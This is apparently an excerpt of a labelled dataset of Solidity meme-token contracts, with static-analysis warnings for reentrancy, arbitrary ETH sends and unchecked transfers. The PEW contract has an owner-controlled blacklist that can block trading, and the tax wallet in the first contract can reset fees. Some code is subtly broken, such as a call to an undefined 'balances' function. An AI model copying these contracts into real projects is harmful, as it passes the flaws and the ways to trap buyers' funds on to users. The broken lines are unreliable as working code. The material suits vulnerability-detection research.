pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 873b567): TAO69000.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 873b567: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 697a8d4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 697a8d4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 30dcaae): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 30dcaae: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 697a8d4\n\t\t// reentrancy-benign | ID: 30dcaae\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 697a8d4\n\t\t// reentrancy-benign | ID: 30dcaae\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5b4ac76): TAO69000._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5b4ac76: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 30dcaae\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 697a8d4\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 24b0813): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 24b0813: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1dcd4a4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1dcd4a4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount >= _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 24b0813\n\t\t\t\t// reentrancy-eth | ID: 1dcd4a4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 24b0813\n\t\t\t\t\t// reentrancy-eth | ID: 1dcd4a4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 1dcd4a4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 1dcd4a4\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1dcd4a4\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 24b0813\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1dcd4a4\n _balances[from] = balances(from).sub(amount);\n\n\t\t// reentrancy-eth | ID: 1dcd4a4\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 24b0813\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 24b0813\n\t\t// reentrancy-events | ID: 697a8d4\n\t\t// reentrancy-benign | ID: 30dcaae\n\t\t// reentrancy-eth | ID: 1dcd4a4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: fe950da): TAO69000.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for fe950da: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 24b0813\n\t\t// reentrancy-events | ID: 697a8d4\n\t\t// reentrancy-eth | ID: 1dcd4a4\n\t\t// arbitrary-send-eth | ID: fe950da\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d0dddfb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d0dddfb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5a184e6): TAO69000.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5a184e6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2378011): TAO69000.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2378011: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e889324): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e889324: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: d0dddfb\n\t\t\t// reentrancy-eth | ID: e889324\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(uniswapV2Router.WETH(), address(this));\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: d0dddfb\n\t\t// unused-return | ID: 5a184e6\n\t\t// reentrancy-eth | ID: e889324\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d0dddfb\n\t\t// unused-return | ID: 2378011\n\t\t// reentrancy-eth | ID: e889324\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: d0dddfb\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e889324\n tradingOpen = true;\n }\n\n function changeTax(uint256 finalBuyFee, uint256 finalSellFee) public {\n require(_msgSender() == _taxWallet);\n\n _finalBuyTax = finalBuyFee;\n\n _finalSellTax = finalSellFee;\n\n if (_reduceBuyTaxAt > 0) _reduceBuyTaxAt = 0;\n\n if (_reduceBuyTaxAt > 0) _reduceSellTaxAt = 0;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: d272253): TAO69000.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for d272253: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: d272253\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10725.sol",
"size_bytes": 22032,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract PEW is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9037d2b): PEW._taxWallet should be immutable \n\t// Recommendation for 9037d2b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6da3d21): PEW._initialBuyTax should be constant \n\t// Recommendation for 6da3d21: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 015c201): PEW._initialSellTax should be constant \n\t// Recommendation for 015c201: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 55ec210): PEW._reduceBuyTaxAt should be constant \n\t// Recommendation for 55ec210: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: e8458be): PEW._reduceSellTaxAt should be constant \n\t// Recommendation for e8458be: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: f182215): PEW._preventSwapBefore should be constant \n\t// Recommendation for f182215: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 23;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Pauly in a memes world\";\n\n string private constant _symbol = unicode\"PEW\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fd9c5f5): PEW._taxSwapThreshold should be constant \n\t// Recommendation for fd9c5f5: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: dfedc02): PEW._maxTaxSwap should be constant \n\t// Recommendation for dfedc02: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6301c40): PEW.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6301c40: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e90d762): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e90d762: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7da9445): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7da9445: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e90d762\n\t\t// reentrancy-benign | ID: 7da9445\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e90d762\n\t\t// reentrancy-benign | ID: 7da9445\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d45cae5): PEW._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d45cae5: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 7da9445\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e90d762\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3ef32a0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3ef32a0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 587b10c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 587b10c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 3ef32a0\n\t\t\t\t// reentrancy-eth | ID: 587b10c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3ef32a0\n\t\t\t\t\t// reentrancy-eth | ID: 587b10c\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 587b10c\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 587b10c\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 587b10c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 3ef32a0\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 587b10c\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 587b10c\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 3ef32a0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3ef32a0\n\t\t// reentrancy-events | ID: e90d762\n\t\t// reentrancy-benign | ID: 7da9445\n\t\t// reentrancy-eth | ID: 587b10c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: fe3ac28): PEW.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for fe3ac28: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3ef32a0\n\t\t// reentrancy-events | ID: e90d762\n\t\t// reentrancy-eth | ID: 587b10c\n\t\t// arbitrary-send-eth | ID: fe3ac28\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 090bc9d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 090bc9d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 262bfc8): PEW.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 262bfc8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: dbf8b67): PEW.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for dbf8b67: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9102f56): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9102f56: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 090bc9d\n\t\t// reentrancy-eth | ID: 9102f56\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 090bc9d\n\t\t// unused-return | ID: 262bfc8\n\t\t// reentrancy-eth | ID: 9102f56\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 090bc9d\n\t\t// unused-return | ID: dbf8b67\n\t\t// reentrancy-eth | ID: 9102f56\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 090bc9d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 9102f56\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10726.sol",
"size_bytes": 20321,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 